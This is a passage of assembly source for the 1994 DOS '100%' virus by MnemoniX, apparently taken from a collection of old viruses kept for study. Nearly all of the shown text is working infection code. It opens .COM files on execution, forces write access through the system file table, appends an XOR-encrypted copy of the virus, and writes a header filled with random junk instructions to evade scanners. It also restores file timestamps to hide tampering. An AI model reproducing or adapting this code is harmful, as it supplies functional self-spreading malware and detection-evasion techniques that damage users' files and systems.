100%-1.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

                sbb     word ptr es:[bx + 1Ch],0
fixed_2:
                pop     es si bx ax             ; done
                clc
                retf    2

execute:
                push    ax bx cx dx di ds es    ; file execute ... check
                                                ; if uninfected .COM file,
                mov     ax,3D00h                ; and if so, infect
                call    int_21
                jnc     read_header
                jmp     exec_exit               ; can't open, leave

read_header:
                xchg    ax,bx

                push    bx                      ; save file handle
                mov     ax,1220h                ; get system file table
                int     2Fh                     ; entry

                nop                             ; remove this if you don't
                                                ; mind scanning as [512] under
                                                ; SCAN ...

                mov     bl,es:[di]              ; get number of the SFT
                mov     ax,1216h                ; for this handle
                int     2Fh                     ; ES:DI now points to SFT
                pop     bx

                mov     word ptr es:[di + 2],2  ; change open mode to R/W

                push    word ptr es:[di + 13]   ; save file date
                push    word ptr es:[di + 15]   ; and file time

                mov     ax,word ptr es:[di + 11h]
                cmp     ax,62579 - VIRUS_SIZE   ; too big?
                je      exec_close

                cmp     ax,22                   ; too small?
                jb      exec_close

                add     ax,HEADER_SIZE - 3      ; calculate virus offset


                push    cs
                pop     ds

                mov     ds:virus_offset,ax

                mov     ah,3Fh                  ; read header of file
                mov     cx,HEADER_SIZE          ; to check for infection
                mov     dx,offset read_buffer
                call    int_21

                cmp     word ptr ds:read_buffer,'ZM'
                je      exec_close              ; don't infect .EXE

                cmp     word ptr ds:read_buffer[MARKER],ID  ; if infected
                je      exec_close              ; already, skip it

                mov     ax,4202h                ; move to end of file
                call    move_ptr_write

                mov     dx,offset read_buffer   ; and save header
                call    int_21

                call    encrypt_code            ; encrypt the virus code
                call    create_header           ; and create unique header

                mov     ah,40h
                mov     cx,VIRUS_SIZE           ; write virus code to file
                mov     dx,offset encrypt_buffer
                int     21h

                mov     ax,4200h                ; back to beginning of file
                call    move_ptr_write

                mov     dx,offset new_header    ; write new header
                call    int_21

                pop     dx                      ; restore file date & time
                pop     cx
                and     cl,0E0h                 ; but with timestamp
                or      cl,26
                mov     ax,5701h
                int     21h

                mov     ah,3Eh                  ; close file
                int     21h

exec_exit:
                pop     es ds di dx cx bx ax
                jmp     int_21_exit
                
move_ptr_write:
                cwd                             ; move file pointer
                xor     cx,cx
                int     21h
                mov     cx,HEADER_SIZE          ; and prepare for write 
                mov     ah,40h                  ; to file
                ret

exec_close:
                pop     ax ax                   ; clean off stack
                mov     ah,3Eh                  ; and close
                int     21h
                jmp     exec_exit

encrypt_code    proc    near

                push    si es

                push    cs
                pop     es

                xor     ah,ah                   ; get random no.
                int     1Ah                     ; and store in decryption
                mov     cipher,dx               ; module

                mov     ax,ds:virus_offset
                add     ax,DECRYPTOR_SIZE + 103h
                mov     code_offset,ax
                
                mov     si,offset virus_begin   ; first store header
                mov     di,offset encrypt_buffer
                mov     cx,DECRYPTOR_SIZE
                rep     movsb                   ; (unencryted)

                mov     cx,ENCRYPTED_SIZE / 2 + 1 ; now encrypt & store code

encrypt:
                lodsw                           ; simple encryption routine
                xor     ax,dx
                ror     dx,1
                stosw
                loop    encrypt

                pop     es si
                ret

encrypt_code    endp

create_header   proc    near

                mov     ax,ds:virus_offset      ; fix up addresses in new
                add     ax,103h + (offset decrypt - offset virus_begin)
                mov     ds:mov_1,ax             ; header
                inc     ax
                inc     ax
                mov     ds:mov_2,ax

                xor     ah,ah                   ; fill in useless MOVs
                int     1Ah                     ; with random bytes
                mov     ds:mov_al,cl
                mov     ds:mov_ax,dx

                push    es cs
                pop     es
                mov     di,offset encrypt_buffer
                add     di,offset decrypt - offset virus_begin
                mov     ax,dx                   ; now fill decryption module
                neg     ax                      ; with some garbage
                stosw
                rol     ax,1
                stosw
                pop     es

                sub     word ptr ds:virus_offset,17 ; fix up JMP instruction

                ret                             ; done
create_header   endp

new_header      db      0C7h,06
mov_1           dw      00
                db      31h,07                  ; first MOV            6
                db      0B0h
mov_al          db      00                      ; a nothing MOV AL,    2
                db      0C7h,06
mov_2           dw      00
                db      0D1h,0C8h               ; second MOV           6
                db      0B8h
mov_ax          dw      00                      ; a nothing MOV AX,    3
                db      0E9h                    ; jump instruction     1
virus_offset    dw      0                       ; virus offset         2
                dw      ID                      ; ID marker            2
                                                ; total bytes =       22

sig             db      '[100%] By MnemoniX 1994',0

virus_end:

VIRUS_SIZE      equ     offset virus_end - offset virus_begin

read_buffer     dw      HEADER_SIZE dup (?)     ; storage for orig header
encrypt_buffer  dw      VIRUS_SIZE dup (?)      ; storage for encrypted virus

heap_end:

MEM_SIZE        equ     offset heap_end - offset start
DECRYPTOR_SIZE  equ     offset virus_code - offset virus_begin
ENCRYPTED_SIZE  equ     offset virus_end - offset virus_code

code            ends
                end     start